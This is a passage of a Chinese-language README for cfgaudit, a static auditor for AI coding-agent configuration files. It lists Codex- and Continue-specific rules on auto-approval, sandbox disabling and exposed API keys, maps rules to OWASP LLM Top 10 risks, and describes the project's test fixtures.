[OpenAI Codex CLI](https://github.com/openai/codex) 将其配置保存在 `~/.codex/config.toml` (TOML) 中,并使用 `AGENTS.md` 作为其项目指令文件。`AGENTS.md` 已经被共享的指令内容规则 (CFG024–CFG036, CFG057) 扫描。使用 `--user` 时,cfgaudit 还会解析 `~/.codex/config.toml`:其中的 `[mcp_servers]` 会应用共享的 MCP 规则 (CFG010–CFG021, CFG049–CFG059),其 `notify` 程序(由 Codex 在事件触发时运行)会被命令内容规则 (CFG008/014/015/027/028/037/038/039) 扫描,另外有两条规则涵盖了 Codex 特定的设置:
| ID | 严重程度 | 描述 | OWASP |
|----|----------|-------------|-------|
| [CFG063](docs/rules/CFG063.md) | error/warn | Codex `approval_policy` 为 `never`(全部自动批准 → error)或 `on-failure`(已弃用,全部自动批准 → warn)—— `bypassPermissions` 的类比 | LLM06 |
| [CFG064](docs/rules/CFG064.md) | error | Codex `sandbox_mode` 为 `danger-full-access` —— 禁用沙箱,工具获得完整的文件系统和网络访问权限 | LLM06 |
### Continue — `.continue/config.yaml`
[Continue](https://github.com/continuedev/continue) 在 `config.yaml` 中配置 MCP 服务器和模型提供商。cfgaudit 发现 `.continue/config.yaml`(项目)和 `~/.continue/config.yaml`(使用 `--user` 时)。其 `mcpServers` **列表** 会应用共享的 MCP 规则 (CFG010–CFG021, CFG049–CFG059) —— 远程 `type: "sse"` 服务器会触发 CFG058,非回环 `url` 会触发 CFG049 等等;其 `rules` 和 `prompts`(受信任的指令上下文)会被指令内容规则 (CFG024–CFG036, CFG057) 扫描。Continue 专属规则:
| ID | 严重程度 | 描述 | OWASP |
|----|----------|-------------|-------|
| [CFG065](docs/rules/CFG065.md) | error | Continue 配置在 `models[]` 或远程 `mcpServers[]` 条目上具有硬编码的内联 `apiKey` 字面量 —— 一个被提交的凭证(`${{ secrets.* }}` 引用和占位符不会被标记) | LLM02 |
| [CFG071](docs/rules/CFG071.md) | error | 模型/提供商通过明文 `http://` 连接到远程主机的 base URL —— Continue 的 `models[].apiBase` 或 Codex 的 `chatgpt_base_url`/`[model_providers].base_url`;API key 以明文发送(CFG005 的多提供商类比) | LLM02 |
## OWASP 映射
cfgaudit 是一款 **AI-agent 配置文件的静态审计工具**(Claude Code 作为一等公民,并将可移植规则扩展到其他 agent)。它将每项发现映射到一个 [OWASP Top 10 for LLM Applications 2025](https://owasp.org/www-project-top-10-for-large-language-model-applications/) 风险 —— 但根据设计,它只能看到 *配置中声明的内容*,而看不到模型行为、运行时流量或训练数据。该范围决定了它能和不能解决的风险。
**已覆盖**
| ID | 风险 | 示例规则 |
|----|------|---------------|
| LLM01 | [Prompt Injection](https://owasp.org/www-project-top-10-for-large-language-model-applications/2025/LLM01_2025-Prompt_Injection.html) | CFG009, CFG015, CFG024, CFG026, CFG030, CFG032, CFG034, CFG056, CFG057 |
| LLM02 | [Sensitive Information Disclosure](https://owasp.org/www-project-top-10-for-large-language-model-applications/2025/LLM02_2025-Sensitive_Information_Disclosure.html) | CFG005, CFG007, CFG012, CFG013, CFG016, CFG021, CFG031, CFG033, CFG036, CFG037, CFG038, CFG041, CFG042, CFG043, CFG044, CFG046, CFG049,050, CFG054, CFG072, CFG073, CFG075 |
| LLM03 | [Supply Chain Vulnerabilities](https://owasp.org/www-project-top-10-for-large-language-model-applications/2025/LLM03_2025-Supply_Chain.html) | CFG010, CFG014, CFG052, CFG055, CFG074 |
| LLM06 | [Excessive Agency](https://owasp.org/www-project-top-10-for-large-language-model-applications/2025/LLM06_2025-Excessive_Agency.html) | CFG001–CFG004, CFG006, CFG008, CFG011, CFG017–CFG020, CFG022, CFG023, CFG025, CFG027, CFG028, CFG029, CFG035, CFG039, CFG040, CFG045, CFG047, CFG048, CFG051, CFG053, CFG076 |
**未覆盖**
| ID | 风险 | 超出范围的原因 |
|----|------|------------------------|
| LLM04 | [Data and Model Poisoning](https://owasp.org/www-project-top-10-for-large-language-model-applications/2025/LLM04_2025-Data_and_Model_Poisoning.html) | 涉及训练数据和模型权重。cfgaudit 审计的是配置文件,而不是模型或训练 pipeline。 |
| LLM05 | [Improper Output Handling](https://owasp.org/www-project-top-10-for-large-language-model-applications/2025/LLM05_2025-Improper_Output_Handling.html) | 属于下游系统如何消耗模型输出的运行时特性 —— 在静态配置中不可见。 |
| LLM07 | [System Prompt Leakage](https://owasp.org/www-project-top-10-for-large-language-model-applications/2025/LLM07_2025-System_Prompt_Leakage.html) | 属于模型在推理时泄露内容的运行时特性,而不是配置中声明的内容。如果配置 *可能* 导致泄露 —— 例如 `CLAUDE.md` 或 `settings.json` 中嵌入的密钥 —— 那么这种暴露已经被 LLM02(例如 CFG013, CFG031)所覆盖。 |
| LLM08 | [Vector and Embedding Weaknesses](https://owasp.org/www-project-top-10-for-large-language-model-applications/2025/LLM08_2025-Vector_and_Embedding_Weaknesses.html) | 专用于 RAG / embedding 存储,而 Claude Code 配置并不描述这些内容。 |
| LLM09 | [Misinformation](https://owasp.org/www-project-top-10-for-large-language-model-applications/2025/LLM09_2025-Misinformation.html) | 属于模型输出质量的问题,而不是配置设置。 |
| LLM10 | [Unbounded Consumption](https://owasp.org/www-project-top-10-for-large-language-model-applications/2025/LLM10_2025-Unbounded_Consumption.html) | 属于运行时资源 / 成本 / DoS 行为,未在 cfgaudit 读取的配置中体现。 |
## 测试夹具
真实的 `settings.json` 示例位于 `testdata/settings/` 下:
- `valid/` —— 必须产生 **零** cfgaudit 发现的配置(极简、完全填充、团队版、受管理的组织)。
- `invalid/` —— 每个规则对应一个夹具,命名为 `CFG###_.json`。每个夹具都必须触发其前缀中编码的规则。
`rules/fixtures_test.go` 在每次 Go 测试运行时都会强制执行这两个不变量,从而确保夹具和规则实现保持同步。
单独的一个 workflow (`.github/workflows/schema-validation.yml`) 会在代码推送、Pull Request 以及每晚定时任务中,使用 [SchemaStore Claude Code 设置 schema](https://json.schemastore.org/claude-code-settings.json) 验证 `valid/` 中的每个文件。如果上游 schema 发生更改,每晚的运行会开启(或评论)一个跟踪 issue,以便在发生静默故障之前同步夹具和规则。
## 贡献
有关开发环境设置、测试循环以及添加新规则的详细步骤,请参阅 [CONTRIBUTING.md](CONTRIBUTING.md)。
## License
Apache 2.0 —— 请参阅 [LICENSE](LICENSE)。标签:AI安全, Chat Copilot, DevSecOps, EVTX分析, Go, LNA, OWASP LLM, Ruby工具, 上游代理, 云安全监控, 日志审计, 请求拦截, 静态分析